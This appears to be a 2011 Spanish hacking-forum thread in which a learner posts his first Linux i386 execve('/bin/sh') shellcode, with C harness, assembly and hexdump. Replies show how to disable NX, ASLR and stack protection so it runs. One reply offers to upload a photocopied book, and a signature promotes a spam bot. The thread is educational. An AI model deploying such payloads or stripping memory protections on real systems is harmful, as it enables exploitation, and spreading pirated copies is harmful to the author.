elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 13:09  


Tema destacado: Grupo de Facebook de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes  (Leído 2,439 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« en: 4 Enero 2011, 12:59 »

Bueno, acabo de conseguir que mi pezqueñina empiece a funcionar... Como Rojodos, yo comparto mi alegria jaja  ;-) ;-) ;-)
Código
#include <stdio.h>
#include <string.h>
 
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}
 
 
Código
BITS 32
; excve ()
 
xor eax, eax ; Ponemos EAX a cero para bytes nulos
push eax ; Metemos los ceros en la pila
push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea.
push 0x6e69622f ; Metemos "/bin". Alineados en la pila
mov ebx, esp ; Metemos la direccion en EBX
push eax ; Mas bytes nulos ...
mov edx, esp ; ... para el entorno de 3º argumento
push ebx ; Metemos la direccion de la cadena en la pila
mov ecx, esp ; Y se la pasamos como direccion
mov al, 11 ; excve = syscall 11
int 0x80 ; Ejecutamos
 
Código:
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  89 e2 53 89 e1 b0 0b cd  80                       |..S......|
00000019

Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C.
Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien.

Disfrutad de la shellcode y muchas gracias !
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
leucocito

Desconectado Desconectado

Mensajes: 199



Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #1 en: 4 Enero 2011, 14:07 »

Me alegro mucho Sagrini sigue asi.
En línea
..::NexuS::..

Desconectado Desconectado

Mensajes: 12



Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #2 en: 4 Enero 2011, 15:10 »

Una pregunta , para que sirve esto?
En línea

Visita mi SpamBot , version beta y ayudame a mejorarlo ^.^ http://foro.elhacker.net/chats_irc_y_messengers/el_hackernet_spambot_beta-t315840.0.html
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #3 en: 4 Enero 2011, 15:14 »

Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.

Muchas gracias por vuestro apoyo!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #4 en: 4 Enero 2011, 15:34 »


Enhorabuena Sagrini me alegro de que al final lo hayas conseguido ^.^

Yo no consigo correr ninguna shellcode en mi equipo. Por ejemplo al tratar de probar la tuya me salta "Fallo de segmentación":
Código
#include <stdio.h>
#include <string.h>
 
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(int argc, char **argv)
{
printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
(*(void(*)()) code)();
return 0;
}
 

Cita de: Terminal
snakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode  shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación

snakingmax@thebigbrother:~/Escritorio/sc$

He puesto a cero /proc/sys/kernel/randomize_va_space
Datos de mi distro:
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04.1 LTS"
Versión del compilador: gcc-4.4

Si podeis orientarme en qué puede estar pasando de agradece.
Saludos
En línea

..::NexuS::..

Desconectado Desconectado

Mensajes: 12



Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #5 en: 4 Enero 2011, 15:36 »

Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.

Muchas gracias por vuestro apoyo!

Gracias por la aclaracion  :)
En línea

Visita mi SpamBot , version beta y ayudame a mejorarlo ^.^ http://foro.elhacker.net/chats_irc_y_messengers/el_hackernet_spambot_beta-t315840.0.html
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #6 en: 4 Enero 2011, 15:55 »

De nadas Nexus todo por el conocimiento xD jajaja
Gracias Snaking. Ahora me meto el live cd con lo que me has dixo... si lo encuentro jaja.
Bueno, reinicio y digo que pasa...
[PD: No es por el argumento -static. A mi me corre con el. Reiniciando...]
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #7 en: 4 Enero 2011, 16:41 »

Cita de: Terminal
snakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode  shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación

snakingmax@thebigbrother:~/Escritorio/sc$

Me autorespondo:
Tenía la Protección NX activada. Para desactivarla solamente para ese ejecutable hice esto:
snakingmax@thebigbrother:~/Escritorio/sc$ execstack -s shellcode

Saludos
En línea

M3st4ng

Desconectado Desconectado

Mensajes: 58


Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #8 en: 4 Enero 2011, 16:57 »

Hola!

Intenta compilar el código con estos parámetros:

Código:
gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c

Yo he tenido muchos problemas por todo el tema de las protecciónes.
En línea
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #9 en: 4 Enero 2011, 17:02 »

Hola!

Intenta compilar el código con estos parámetros:

Código:
gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c

Yo he tenido muchos problemas por todo el tema de las protecciónes.
Gracuas por la ayuda M3st4ng, lo he solucionado despues de compilarlo con execstack -s shellcode.

Bueno yo me acabo de acordar de que le deje el disco a mi padre xD asi k menos mal... Google?  :silbar:
Google si. Supuse que tenía alguna protección activada.
Para probar tu S.C. puse a cero /proc/sys/kernel/randomize_va_space y me extrañó que no funcionase, luego probé otras shellcodes que ya había corrido otras veces y seguían sin funcionar.

Saludos
« Última modificación: 4 Enero 2011, 17:10 por SnakingMax » En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #10 en: 4 Enero 2011, 17:35 »

A mi eso me fastidio mucho por lo del buffer overflow, gcc me puso una proteccion anti-BoF jaja
Pues yo lo desactive pork me molestaba para analisis de vulns y se me ha quedado asi
bueno, suerte !
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #11 en: 4 Enero 2011, 22:45 »

Acabo de subir mi shellcode a Shell-Storm.org !!!
Posteare la url pronto !!!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #12 en: 5 Enero 2011, 10:53 »

Felicitaciones Sagrini! ;-)
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Garfield07


Desconectado Desconectado

Mensajes: 1.123


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #13 en: 7 Enero 2011, 12:15 »

http://shell-storm.org/shellcode/shellcode-linux.php
http://shell-storm.org/shellcode/files/shellcode-746.php

Muchas gracias!
[Desde 05-01-11] Ahora miro el correo....
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Oblivi0n

Desconectado Desconectado

Mensajes: 201


Odio las ranas.


Ver Perfil
Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
« Respuesta #14 en: 20 Enero 2011, 00:31 »

Citar
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]

[Offtopic] Si a alguien le interesa, yo compré ese libro hace una semana por recomendacion de Sagrini, y voy fotocopiandolo a medida que lo leo, lo subiré en cuanto vaya acabandolo ( o por temas, segun vea) , son 500 pags, asique llevara lo suyo... xD
En línea




Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines